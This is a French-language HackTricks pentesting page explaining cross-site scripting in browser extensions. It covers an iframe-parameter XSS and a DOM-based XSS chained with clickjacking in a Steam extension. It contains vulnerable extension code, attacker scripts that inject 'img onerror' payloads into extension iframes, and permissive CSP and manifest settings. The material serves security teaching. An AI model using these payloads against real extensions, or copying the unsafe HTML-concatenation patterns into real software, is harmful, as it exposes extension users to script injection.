hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

123 lines
7.5 KiB
Markdown
Raw Normal View History

# BrowExt - Exemple XSS
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Soutenir HackTricks</summary>
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
## Cross-Site Scripting (XSS) via Iframe
Dans cette configuration, un **script de contenu** est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe :
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
Une page HTML accessible au public, **`message.html`**, est conçue pour ajouter dynamiquement du contenu au corps du document en fonction des paramètres dans l'URL :
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
Un script malveillant est exécuté sur la page d'un adversaire, modifiant le paramètre `content` de la source de l'Iframe pour introduire une **charge utile XSS**. Cela est réalisé en mettant à jour la source de l'Iframe pour inclure un script nuisible :
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
Une politique de sécurité de contenu trop permissive telle que :
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
permet l'exécution de JavaScript, rendant le système vulnérable aux attaques XSS.
Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script nuisible en tant que paramètre `content` :
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## DOM-based XSS + ClickJacking
Cet exemple a été tiré de l'[article original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Le problème principal provient d'une vulnérabilité Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, qui fait partie de **`bookmarks.js`**, est détaillé ci-dessous :
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Ce snippet récupère la **valeur** du champ de saisie **`txtName`** et utilise **la concaténation de chaînes pour générer du HTML**, qui est ensuite ajouté au DOM en utilisant la fonction `.append()` de jQuery.
Typiquement, la politique de sécurité du contenu (CSP) de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de **l'assouplissement de la CSP avec unsafe-eval** et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui emploient [`globalEval()`](https://api.jquery.com/jquery.globaleval/) pour passer des scripts à [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'insertion dans le DOM), l'exploitation est toujours possible.
Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, entrer une charge utile XSS et activer le bouton “Ajouter”.
Pour renforcer cette vulnérabilité, une vulnérabilité secondaire de **clickjacking** est exploitée. Le manifeste de l'extension Chrome présente une politique `web_accessible_resources` étendue :
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Notamment, la page **`/html/bookmarks.html`** est sujette à l'encadrement, donc vulnérable au **clickjacking**. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la superposant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente.
## Références
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}